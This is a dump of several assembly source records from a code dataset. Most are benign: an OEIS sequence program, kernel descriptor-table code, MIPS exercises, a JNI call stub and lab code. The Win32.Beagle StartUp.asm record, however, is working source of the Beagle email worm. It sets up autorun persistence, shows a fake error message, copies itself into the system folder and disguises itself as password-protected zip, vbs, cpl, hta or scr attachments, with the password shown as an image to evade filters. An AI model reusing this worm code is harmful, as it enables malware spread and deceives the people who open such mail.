source
stringclasses
1 value
id
stringlengths
40
40
language
stringclasses
2 values
date
stringclasses
1 value
author
stringclasses
1 value
url
stringclasses
1 value
title
stringclasses
1 value
extra
stringlengths
528
1.53k
quality_signals
stringlengths
139
178
text
stringlengths
6
1.05M
TheStack
6d8299cc897de6dd23e1e7d603cc8d1ba7be24cc
Assemblycode:Assembly
{"size": 711, "ext": "asm", "max_stars_repo_path": "oeis/047/A047898.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/047/A047898.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/047/A047898.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 44.4375, "max_line_length": 468, "alphanum_fraction": 0.8087201125}
; A047898: a(1) = 6; for n > 0, a(n+1) = a(n) * (sum of digits of a(n)). ; Submitted by Jon Maiga ; 6,36,324,2916,52488,1417176,38263752,1377495072,61987278240,3347313024960,150629086123200,6778308875544000,488038239039168000,35138753210820096000,2213741452281666048000,159389384564279955456000,18648557994020754788352000,2181881285300428310237184000,196369315677038547921346560000,24742533775306857038089666560000,3340242059666425700142104985600000,360746142443973975615347338444800000,51947444511932252488610016736051200000,6545378008503463813564862108742451200000 mov $2,$0 mov $3,$0 cmp $3,0 add $0,$3 mov $1,6 div $2,$0 lpb $0 sub $0,$2 seq $1,57147 ; a(n) = n times sum of digits of n. lpe mov $0,$1
TheStack
997656a8df992c93efb25cea97ca2d522db9714c
Assemblycode:Assembly
{"size": 246, "ext": "asm", "max_stars_repo_path": "src/kernel/tss.asm", "max_stars_repo_name": "TheDarkBomber/apiofirm", "max_stars_repo_stars_event_min_datetime": "2022-02-06T13:35:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-06T22:49:15.000Z", "max_issues_repo_path": "src/kernel/tss.asm", "max_issues_repo_name": "TheDarkBomber/apiofirm", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/kernel/tss.asm", "max_forks_repo_name": "TheDarkBomber/apiofirm", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 4, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 10.25, "max_line_length": 15, "alphanum_fraction": 0.6869918699}
global FlushTSS FlushTSS: mov ax, 0x28 ltr ax ret extern metaGDT global FlushGDT FlushGDT: lgdt [metaGDT] mov eax, 0x08 push eax push .reload retf .reload: mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ret
TheStack
e3a08f5cedcb24329333a2a1734d381194fedbb8
Assemblycode:Assembly
{"size": 2908, "ext": "asm", "max_stars_repo_path": "4-periodo/arquitetura-e-organizacao-de-computadores-2/inverte-array.asm", "max_stars_repo_name": "lucasmc64/the-graduation-journey", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "4-periodo/arquitetura-e-organizacao-de-computadores-2/inverte-array.asm", "max_issues_repo_name": "lucasmc64/the-graduation-journey", "max_issues_repo_issues_event_min_datetime": "2021-04-08T13:15:01.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-08T13:15:01.000Z", "max_forks_repo_path": "4-periodo/arquitetura-e-organizacao-de-computadores-2/inverte-array.asm", "max_forks_repo_name": "lucasmc64/the-graduation-journey", "max_forks_repo_forks_event_min_datetime": "2021-04-08T11:39:46.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-08T11:39:46.000Z"}
{"max_stars_count": null, "max_issues_count": 1, "max_forks_count": 1, "avg_line_length": 22.8976377953, "max_line_length": 91, "alphanum_fraction": 0.6368638239}
# 2) # Escreva um programa que leia um array de 10 posicoes e armazene seus valores na memória. # A seguir inverta os elementos do array. v[0]<-> v[9], v[1]<-> v[8] .... # Imprima o vetor invertido de maneira formatada [a,b,c,d,e.....] .macro printStr(%str) la $a0, %str addi $v0, $zero, 4 syscall .end_macro .macro scanInt() addi $v0, $zero, 5 syscall .end_macro .macro printInt(%int) add $a0, $zero, %int addi $v0, $zero, 1 syscall .end_macro .data array: .space 40 i: 0 limit: 10 title: .asciiz "Invertendo array\n" type_int: .asciiz "Digite um valor inteiro: " start_array: .asciiz "\n[" separator_array: .asciiz ", " end_array: .asciiz "]\n" .text printStr(title) # Macro que imprime strings la $s5, array # Carrega o endereço de array para $s5 la $t0, i # Carrega em $t0 o endereço de i lw $s0, 0($t0) # $s0 recebe o valor de i (0) la $t0, limit # Carrega em $t0 o endereço de limit lw $s1, 0($t0) # $s1 recebe o valor de i (10) FOR1: slt $t0, $s0, $s1 # i < 10? beq $t0, $zero, END1 # Caso nao seja, sai do for # Loop _____ printStr(type_int) # Imprime a solicitacao de digitar um numero scanInt() # Le um inteiro sw $v0, 0($s5) # Guarda o inteiro lido no array # __________ addi $s5, $s5, 4 # Vai pra próxima posicao do array a ser preenchida addi $s0, $s0, 1 # i++ j FOR1 END1: addi $s5, $s5, -4 # Retorna pra ultima posicao do array la $s4, array # Carrega o endereço de array para $s4 la $t0, i # Carrega em $t0 o endereço de i lw $s0, 0($t0) # $s0 recebe o valor de i (0) FOR2: slt $t0, $s1, $s0 # Verifica se o contador decrescente e menor que o crecente bne $t0, $zero, END2 # Caso versadeiro, sai do for # Loop _____ lw $t1, 0($s4) #} lw $t2, 0($s5) # } Troca de lugar os valores iniciais sw $t1, 0($s5) # } com os valores finais. sw $t2, 0($s4) #} # __________ addi $s4, $s4, 4 # Vai pra próxima posicao do array addi $s5, $s5, -4 # Vai pra próxima posicao anterior do array addi $s0, $s0, 1 # i++ addi $s1, $s1, -1 # i-- j FOR2 END2: la $s5, array # Carrega o endereço de array para $s5 la $t0, i # Carrega em $t0 o endereço de i lw $s0, 0($t0) # $s0 recebe o valor de i (0) la $t0, limit # Carrega em $t0 o endereço de limit lw $s1, 0($t0) # $s1 recebe o valor de i (10) printStr(start_array) # Imprime a abertura de colchetes FOR3: slt $t0, $s0, $s1 # i < 10? beq $t0, $zero, END3 # Caso nao seja, sai do for # Loop _____ lw $s7, 0($s5) # Carrega o valor printInt($s7) # Imprime um inteiro # __________ addi $s5, $s5, 4 # Vai pra próxima posicao do array a ser preenchida addi $s0, $s0, 1 # i++ IF1: slt $t0, $s0, $s1 # i < 10? beq $t0, $zero, END_IF1 # Sair do IF printStr(separator_array) # Imprime a vírgula END_IF1: j FOR3 END3: printStr(end_array) # Imprime o feclamento de colchetes # Fim do programa (return 0) addi $v0, $zero, 10 syscall
TheStack
6c2f95a0b7caf04e3cdf36e8f0fdf2344f0d1288
Assemblycode:Assembly
{"size": 138, "ext": "asm", "max_stars_repo_path": "libsrc/target/sms/stdio/generic_console_vpeek.asm", "max_stars_repo_name": "ahjelm/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/target/sms/stdio/generic_console_vpeek.asm", "max_issues_repo_name": "C-Chads/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/target/sms/stdio/generic_console_vpeek.asm", "max_forks_repo_name": "C-Chads/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"}
{"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 17.25, "max_line_length": 53, "alphanum_fraction": 0.8695652174}
SECTION code_clib PUBLIC generic_console_vpeek EXTERN __tms9918_console_vpeek defc generic_console_vpeek = __tms9918_console_vpeek
TheStack
46d06aff9827d001867ec360fdc0cb29b7df5187
Assemblycode:Assembly
{"size": 2092, "ext": "asm", "max_stars_repo_path": "drlvm/vm/interpreter/src/invokeJNI_Windows_em64t.asm", "max_stars_repo_name": "sirinath/Harmony", "max_stars_repo_stars_event_min_datetime": "2015-11-04T06:06:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-04T13:47:36.000Z", "max_issues_repo_path": "drlvm/vm/interpreter/src/invokeJNI_Windows_em64t.asm", "max_issues_repo_name": "sirinath/Harmony", "max_issues_repo_issues_event_min_datetime": "2021-10-17T13:07:28.000Z", "max_issues_repo_issues_event_max_datetime": "2021-10-17T13:07:28.000Z", "max_forks_repo_path": "drlvm/vm/interpreter/src/invokeJNI_Windows_em64t.asm", "max_forks_repo_name": "sirinath/Harmony", "max_forks_repo_forks_event_min_datetime": "2015-11-27T03:14:50.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-26T15:12:20.000Z"}
{"max_stars_count": 8, "max_issues_count": 1, "max_forks_count": 13, "avg_line_length": 26.15, "max_line_length": 90, "alphanum_fraction": 0.6739961759}
; Licensed to the Apache Software Foundation (ASF) under one or more ; contributor license agreements. See the NOTICE file distributed with ; this work for additional information regarding copyright ownership. ; The ASF licenses this file to You under the Apache License, Version 2.0 ; (the "License"); you may not use this file except in compliance with ; the License. You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. PUBLIC invokeJNI _TEXT SEGMENT invokeJNI PROC ; int64 invokeJNI(uint64 *args, uword n_fps, uword n_stacks, GenericFunctionPointer f); ; rcx - memory ; rdx - n fp args ; r8 - n mem args ; r9 - function ptr push rbp mov rbp, rsp mov rax, rcx ; mem mov rcx, r8 ; n mem args ; cycle to fill all fp args movsd xmm0, qword ptr [rax+8] movsd xmm1, qword ptr [rax+16] movsd xmm2, qword ptr [rax+24] movsd xmm3, qword ptr [rax+32] mov r10, r9 ; func ptr ; check for memory args cmp rcx, 0 jz cycle_end mov rdx, rsp ; Check stack alignment on 16 bytes and rdx, 8 ; This code may be removed after we make sure that jz no_abort ; compiler always calls us with aligned stack int 3 no_abort: mov rdx, rcx ; Align stack on 16 bytes before pushing stack and rdx, 1 ; arguments in case we have odd number of stack shl rdx, 3 ; arguments sub rsp, rdx ; store memory args lea r9, qword ptr [rax + rcx * 8 + 64] sub r9, rsp ; offset cycle: push qword ptr [rsp+r9] loop cycle cycle_end: mov rcx, [rax + 40] mov rdx, [rax + 48] mov r8, [rax + 56] mov r9, [rax + 64] sub rsp, 32 ; shadow space call r10 leave ret invokeJNI ENDP _TEXT ENDS END
TheStack
31b87c5bc1b98fe10d66acd2a3233e86063b80cd
Assemblycode:Assembly
{"size": 860, "ext": "asm", "max_stars_repo_path": "test/codegen/loops.asm", "max_stars_repo_name": "shivansh/gogo", "max_stars_repo_stars_event_min_datetime": "2018-04-28T02:27:47.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-08T00:25:13.000Z", "max_issues_repo_path": "test/codegen/loops.asm", "max_issues_repo_name": "shivansh/gogo", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/codegen/loops.asm", "max_forks_repo_name": "shivansh/gogo", "max_forks_repo_forks_event_min_datetime": "2018-05-06T07:36:02.000Z", "max_forks_repo_forks_event_max_datetime": "2019-09-13T09:40:55.000Z"}
{"max_stars_count": 24, "max_issues_count": null, "max_forks_count": 5, "avg_line_length": 13.4375, "max_line_length": 41, "alphanum_fraction": 0.5279069767}
.data a.0: .word 0 newline.1: .asciiz "\n" i.2: .word 0 t0: .word 0 .text runtime: addi $sp, $sp, -4 sw $ra, 0($sp) lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra .end runtime .globl main .ent main main: li $3, 0 # a.0 -> $3 sw $3, a.0 # spilled a.0, freed $3 li $3, 0 # i.2 -> $3 # Store dirty variables back into memory sw $3, i.2 l2: lw $3, i.2 # i.2 -> $3 bge $3, 4, l0 li $3, 1 # t0 -> $3 # Store dirty variables back into memory sw $3, t0 j l1 l0: li $3, 0 # t0 -> $3 # Store dirty variables back into memory sw $3, t0 l1: lw $3, t0 # t0 -> $3 blt $3, 1, l3 lw $3, a.0 # a.0 -> $3 addi $3, $3, 1 li $2, 1 move $4, $3 syscall li $2, 4 la $4, newline.1 syscall lw $5, i.2 # i.2 -> $5 addi $5, $5, 1 # Store dirty variables back into memory sw $3, a.0 sw $5, i.2 j l2 l3: li $2, 10 syscall .end main
TheStack
9ee46dca1765ae4c13c049f5ff95ee78d8120742
Assemblycode:Assembly
{"size": 623, "ext": "asm", "max_stars_repo_path": "oeis/118/A118971.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/118/A118971.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/118/A118971.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 47.9230769231, "max_line_length": 471, "alphanum_fraction": 0.8410914928}
; A118971: a(n) = 4*binomial(5*n+3,n)/(4*n+4). ; Submitted by Jon Maiga ; 1,4,26,204,1771,16380,158224,1577532,16112057,167710664,1772645420,18974357220,205263418941,2240623268512,24648785802336,272994644359580,3041495503591365,34064252968167180,383302465665133014,4331178750737856024,49126274119207062470,559128033689628934440,6383597250894765439440,73090435990898559198420,839063493796646402941371,9655586120310799264706880,111360847319535483080993120,1287021218005005245321456480,14903040493674217443817664120,172879384378494319632033484480 mov $1,$0 mov $2,1 add $2,$0 add $0,$2 mul $0,2 add $0,$2 bin $0,$1 div $0,$2
TheStack
c0be29114f997f4d82e998edd1e4757f16a92516
Assemblycode:Assembly
{"size": 16695, "ext": "asm", "max_stars_repo_path": "Win32/Win32.Beagle/StartUp.asm", "max_stars_repo_name": "fengjixuchui/Family", "max_stars_repo_stars_event_min_datetime": "2021-05-15T15:57:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T09:11:05.000Z", "max_issues_repo_path": "Win32/Win32.Beagle/StartUp.asm", "max_issues_repo_name": "fengjixuchui/Family", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Win32/Win32.Beagle/StartUp.asm", "max_forks_repo_name": "fengjixuchui/Family", "max_forks_repo_forks_event_min_datetime": "2021-05-15T15:57:15.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-08T20:51:04.000Z"}
{"max_stars_count": 3, "max_issues_count": null, "max_forks_count": 3, "avg_line_length": 33.3233532934, "max_line_length": 157, "alphanum_fraction": 0.5355495657}
; StartUp Stuff, Loading settings, etc... ; ######################################################################### .data szShowMessage db "Can't find a viewer associated with the file",0 szShowCaption db "Error!",0 szRegAutoPath db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0 szTextOpen db "open",0 szExeExe db ".exe",0 szExeScr db ".scr",0 szExeCom db ".com",0 szExeZip db ".zip",0 szExeVbs db ".vbs",0 szExeHta db ".hta",0 szExeCpl db ".cpl",0 b64Attach dd 0 b64AttachLen dd 0 b64SrcAttach dd 0 b64SrcAttachLen dd 0 b64Password dd 0 b64PasswordLen dd 0 b64PasswordMime dd 0 ; Admin thread mutex mootex dd 0 ; Mooo-moooo :) szAttachExt dd offset szExeScr bPassImgOnly dd 0 .data? ; Zip password szZipPassBuff db 101 dup(?) ; Real worm name szSysDirFileName db MAX_PATH+1 dup(?) ; Current worm name (being executed) szRunFileName db MAX_PATH+1 dup(?) .code EmailRandInit proto EmailRandomExt proto ; Write autorun WriteAutoStart proc LOCAL hkHandle: DWORD ; Write autorun invoke RegCreateKey, HKEY_CURRENT_USER, offset szRegAutoPath, addr hkHandle invoke lstrlen, offset szSysDirFileName invoke RegSetValueEx, hkHandle, offset szBglAutoKey, 0, REG_SZ, offset szSysDirFileName, eax invoke RegCloseKey, hkHandle ret WriteAutoStart endp ; Remove registry entries (uninistall) ; Suicide disabled DoSelfDelete proc LOCAL hkHandle: DWORD invoke RegDeleteKey, HKEY_CURRENT_USER, offset szRegBasePath invoke RegCreateKey, HKEY_CURRENT_USER, offset szRegAutoPath, addr hkHandle invoke RegDeleteValue, hkHandle, offset szBglAutoKey invoke RegCloseKey, hkHandle invoke ExitProcess, 0 ret DoSelfDelete endp ; Get ptr to last section in .exe file (IN: ebx - ptr to file) LastSectionHeadPtr proc PEPtrB eax, ebx movzx ecx, word ptr[eax+06h] dec ecx ; Num * 28h xor edx, edx mov eax, 28h ; obj table size mul ecx ; ...+ PE + 0f8h PEPtrB edx, ebx add eax, edx add eax, 0f8h ; size of PE header ret LastSectionHeadPtr endp ; Get file length and truncate it to it's real length ; then append 5-1505 bytes of junk TruncSrcFile proc uses ebx edi lpIn: DWORD LOCAL hFileOut, bWritten: DWORD LOCAL JUNK_BYTE: BYTE IFNDEF TESTVERSION invoke Sleep, 3000 ENDIF invoke CreateFile, lpIn, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL mov hFileOut, eax inc eax jz @tsf_ret xor edi, edi invoke CreateFileMapping, hFileOut, NULL, PAGE_READWRITE, 0, 0, NULL .IF eax push eax invoke MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0 .IF eax mov ebx, eax invoke LastSectionHeadPtr mov edi, [eax][SectionHead.PhysOffs] add edi, [eax][SectionHead.PhysSize] invoke UnmapViewOfFile, ebx .ENDIF call CloseHandle .ENDIF invoke SetFilePointer, hFileOut, edi, 0, 0 invoke SetEndOfFile, hFileOut invoke SetFilePointer, hFileOut, 0, 0, FILE_END ; Write junk data invoke Rand, 1500 add eax, 5 mov edi, eax @l: invoke Rand, 200 mov JUNK_BYTE, al invoke WriteFile, hFileOut, addr JUNK_BYTE, 1, addr bWritten, NULL dec edi jnz @l invoke CloseHandle, hFileOut @tsf_ret: ret TruncSrcFile endp ; Convert Sources attach to Base64 format SrcFileToBase64 proc invoke GlobalAlloc, GPTR, SrcFileLen shl 1 mov b64SrcAttach, eax invoke Base64Encode, offset SrcFile, eax, SrcFileLen invoke lstrlen, b64SrcAttach mov b64SrcAttachLen, eax ret SrcFileToBase64 endp ; Convert file to Base64 format FileToBase64 proc uses ebx edi lpDestFileName, outMem, outLen: DWORD LOCAL hFile, dwFileSize: DWORD xor edi, edi invoke CreateFile, lpDestFileName, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0 mov hFile, eax inc eax jz @file_open_error invoke GetFileSize, hFile, 0 mov dwFileSize, eax inc eax jz @file_open_close invoke CreateFileMapping, hFile, NULL, PAGE_READONLY, 0, 0, NULL .IF eax mov ebx, eax invoke MapViewOfFile, eax, FILE_MAP_READ, 0, 0, 0 .IF eax push eax mov eax, dwFileSize shl eax, 1 invoke GlobalAlloc, GPTR, eax mov edx, outMem mov [edx], eax mov edx, [esp] invoke Base64Encode, edx, eax, dwFileSize mov edx, outMem invoke lstrlen, [edx] mov edx, outLen mov [edx], eax call UnmapViewOfFile inc edi .ENDIF invoke CloseHandle, ebx .ENDIF @file_open_close: invoke CloseHandle, hFile @file_open_error: mov eax, edi ret FileToBase64 endp EmailRandomPassOnlyFmt proto EncodePass proc uses ebx szPass: DWORD LOCAL lpwData[50]: BYTE LOCAL lpDestFileName: DWORD invoke Rand, 100 .IF eax > 70 ; 30% image password only mov bPassImgOnly, 1 invoke EmailRandomPassOnlyFmt invoke wsprintf, addr lpwData, eax, szPass .ELSE ; 70% normal message invoke lstrcpy, addr lpwData, szPass .ENDIF invoke GlobalAlloc, GPTR, 8192 mov lpDestFileName, eax invoke lstrcpy, eax, offset szSysDirFileName invoke lstrcat, lpDestFileName, offset szTextOpen invoke lstrcat, lpDestFileName, offset szTextOpen invoke lstrcat, lpDestFileName, offset szTextOpen invoke GenTextPassImage, addr lpwData, lpDestFileName test eax, eax jz @file_open_error mov b64PasswordMime, eax invoke FileToBase64, lpDestFileName, offset b64Password, offset b64PasswordLen @file_open_error: invoke GlobalFree, lpDestFileName ret EncodePass endp IFNDEF DisableInfect LoadWorkFile proto :DWORD ENDIF EncodeSelf proc uses ebx LOCAL hFile, hFile2, dwFileSize, dwWritten: DWORD LOCAL lpDestFileName, lpSrcFileName, lpOrigFileName, lpTextFileName, lpTextFileName2: DWORD LOCAL buf2[30]: BYTE LOCAL buf[30]: BYTE invoke GlobalAlloc, GPTR, 8192 mov lpTextFileName, eax invoke GlobalAlloc, GPTR, 8192 mov lpTextFileName2, eax invoke GetRandomID, eax, 6 invoke GlobalAlloc, GPTR, 8192 mov lpDestFileName, eax invoke lstrcpy, lpDestFileName, offset szSysDirFileName invoke StrDup, lpDestFileName mov lpOrigFileName, eax invoke lstrcat, lpDestFileName, offset szTextOpen invoke StrDup, lpDestFileName mov lpSrcFileName, eax invoke lstrcat, lpDestFileName, offset szTextOpen invoke lstrcpy, lpTextFileName, lpDestFileName invoke lstrcat, lpTextFileName, offset szTextOpen invoke lstrcat, lpTextFileName, offset szTextOpen invoke SetFileAttributes, lpSrcFileName, FILE_ATTRIBUTE_NORMAL invoke SetFileAttributes, lpTextFileName, FILE_ATTRIBUTE_NORMAL invoke SetFileAttributes, lpDestFileName, FILE_ATTRIBUTE_NORMAL invoke CopyFile, lpOrigFileName, lpSrcFileName, FALSE ; Zero set password invoke ZeroMemory, offset szZipPassBuff, 100 ; Remove junk bytes invoke TruncSrcFile, lpSrcFileName ; Random bytes in .xxx file invoke ZeroMemory, addr buf2, 30 invoke Rand, 5 add eax, 5 invoke GetRandomID, addr buf2, eax invoke EmailRandomExt invoke lstrcat, addr buf2, eax ; Choose random .exe name for zip attach invoke ZeroMemory, addr buf, 30 invoke Rand, 5 add eax, 5 invoke GetRandomID, addr buf, eax invoke lstrcat, addr buf, offset szExeExe invoke Rand, 100 .IF eax >= 50 ; 50% zip, vbs, cpl, hta invoke Rand, 100 .IF eax >= 80 ; 20% zip ; Create junk file invoke CreateFile, lpTextFileName, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL mov hFile2, eax invoke lstrlen, lpTextFileName2 xchg eax, edx invoke WriteFile, hFile2, lpTextFileName2, edx, addr dwWritten, NULL invoke CloseHandle, hFile2 ; Gen password invoke GetRandomNumID, offset szZipPassBuff, 5 invoke EncodePass, offset szZipPassBuff mov szAttachExt, offset szExeZip invoke CreateZipFile, lpSrcFileName, lpTextFileName, lpDestFileName, addr buf, addr buf2, offset szZipPassBuff .ELSEIF eax >= 50 ; 30% vbs mov szAttachExt, offset szExeVbs invoke CreateVBSFile, lpSrcFileName, lpDestFileName .ELSEIF eax >= 20 ; 30% cpl mov szAttachExt, offset szExeCpl invoke CreateCPLFile, lpSrcFileName, lpDestFileName .ELSE ; 20% hta mov szAttachExt, offset szExeHta invoke CreateHTAFile, lpSrcFileName, lpDestFileName .ENDIF .ELSE ; 50% plain invoke Rand, 100 .IF eax >= 80 ; 20% exe mov szAttachExt, offset szExeExe .ELSEIF eax >= 40 ; 40% com mov szAttachExt, offset szExeCom .ELSE ; 40% scr mov szAttachExt, offset szExeScr .ENDIF invoke SetFileAttributes, lpDestFileName, FILE_ATTRIBUTE_NORMAL invoke CopyFile, lpSrcFileName, lpDestFileName, FALSE .ENDIF test eax, eax jz @file_open_error invoke FileToBase64, lpDestFileName, offset b64Attach, offset b64AttachLen @file_open_error: invoke GlobalFree, lpDestFileName invoke LocalFree, lpSrcFileName invoke LocalFree, lpOrigFileName invoke GlobalFree, lpTextFileName invoke GlobalFree, lpTextFileName2 IFNDEF DisableInfect invoke LoadWorkFile, offset szSysDirFileName ENDIF ret EncodeSelf endp IsShouldRun proc LOCAL SysTime: SYSTEMTIME LOCAL UntilTime: SYSTEMTIME LOCAL FilTime: FILETIME LOCAL UntilFil: FILETIME invoke GetLocalTime, addr SysTime invoke ZeroMemory, addr UntilTime, sizeof SYSTEMTIME mov UntilTime.wYear, WorkUntilYear mov UntilTime.wMonth, WorkUntilMonth mov UntilTime.wDay, WorkUntilDay invoke SystemTimeToFileTime, addr SysTime, addr FilTime invoke SystemTimeToFileTime, addr UntilTime, addr UntilFil invoke CompareFileTime, addr FilTime, addr UntilFil .IF eax == 1 xor eax, eax .ELSE xor eax, eax inc eax .ENDIF ret IsShouldRun endp ; Delete previous instance if running KillPrevInst proc uses esi ebx LOCAL Process: PROCESSENTRY32 LOCAL hSnapshot: DWORD invoke GetCurrentProcessId mov esi, eax mov ebx, offset szBglRealName inc ebx mov Process.dwSize, sizeof PROCESSENTRY32 invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0 mov hSnapshot, eax invoke Process32First, hSnapshot, addr Process @l: .IF eax invoke StrStrI, addr Process.szExeFile, ebx .IF (eax) && (Process.th32ProcessID != esi) invoke KillProcess, Process.th32ProcessID .ENDIF invoke Process32Next, hSnapshot, addr Process jmp @l .ENDIF invoke CloseHandle, hSnapshot IFNDEF TESTVERSION invoke Sleep, 3500 ENDIF xor eax, eax ret KillPrevInst endp StartUp proc LOCAL upd: DWORD mov upd, FALSE invoke CRC32BuildTable invoke Randomize invoke EmailRandInit ; Get loader filename & add it to autorun invoke GetSystemDirectory, offset szSysDirFileName, MAX_PATH invoke lstrcat, offset szSysDirFileName, offset szBglRealName invoke GetModuleFileName, NULL, offset szRunFileName, MAX_PATH invoke WriteAutoStart invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL invoke GetCommandLine @check_upd_loop: cmp dword ptr[eax+1], 'dpu-' jz @do_update IFDEF TESTVERSION cmp dword ptr[eax+1], 'led-' jz @do_del ENDIF inc eax cmp byte ptr[eax+4], 0 jnz @check_upd_loop jmp @do_not_update IFDEF TESTVERSION @do_del: invoke KillPrevInst invoke DoSelfDelete ENDIF @do_update: mov upd, TRUE invoke KillPrevInst @do_not_update: ; Check if running from system folder invoke lstrcmpi, offset szRunFileName, offset szSysDirFileName .IF eax ; Running from unknown folder ; Show error message .IF !upd invoke GetDesktopWindow invoke MessageBox, eax, offset szShowMessage, offset szShowCaption, MB_ICONERROR .ENDIF ; Copy file to %system% folder and run invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL invoke CopyFile, offset szRunFileName, offset szSysDirFileName, FALSE .IF eax invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL invoke ShellExecute, 0, offset szTextOpen, offset szSysDirFileName, NULL, NULL, SW_HIDE .ENDIF invoke ExitProcess, 0 .ELSE ; Running from system folder, start replacation code .ENDIF ret StartUp endp
TheStack
7ca72fae91473a5c60c627d468103aa370869d1e
Assemblycode:Assembly
{"size": 1453, "ext": "asm", "max_stars_repo_path": "EELE371/Lab-12.asm", "max_stars_repo_name": "Dan-Laden/Projects", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "EELE371/Lab-12.asm", "max_issues_repo_name": "Dan-Laden/Projects", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "EELE371/Lab-12.asm", "max_forks_repo_name": "Dan-Laden/Projects", "max_forks_repo_forks_event_min_datetime": "2021-09-30T19:37:34.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-30T19:37:34.000Z"}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 13.7075471698, "max_line_length": 77, "alphanum_fraction": 0.6820371645}
;main.s by Daniel Laden ;11/28/18 ;Running a program on a real time clock using I2C bit banging. ;Setup the oscilloscope's MSO bus analysis. INCLUDE 'derivative.inc' XDEF _Startup, main XREF __SEG_END_SSTACK ;symbol defined by the linker fro the end of the stack ORG $0060 MODH DS.B 1 MODL DS.B 1 ORG $E000 main: _Startup: ;Clearing variables CLR MODH CLR MODL ;Of Mice and Men'ing the Watchdog LDA SOPT1 AND #%01111111 STA SOPT1 ;Setup parallel ports BSET 6, PTBDD BSET 7, PTBDD BCLR 2, PTADD BCLR 3, PTADD ;LEDs are initialized off BSET 6, PTBD BSET 7, PTBD ;Clock source and prescaler MOV #$0A, TPMSC ;PWM functionality for each channel that will be used to generate PMW MOV #$28, TPMC0SC ;Setting up the period MOV #$4E, TPMMODH MOV #$20, TPMMODL ;Setting ADCCFG to 8-bit LDA #$0 STA ADCCFG ;Setting ADCSC1 and ADCSC2 LDA #$1 STA ADCSC1 MOV #$00, ADCSC2 mainLoop: LDA #$1 STA ADCSC1 JSR pulse BRCLR 7, ADCSC1, readADCRHL ;is COCO=1? if so read ADCRH and ADCRL readADCRHL: LDA ADCRH LDA ADCRL ;X ;x factor LDX #5; X 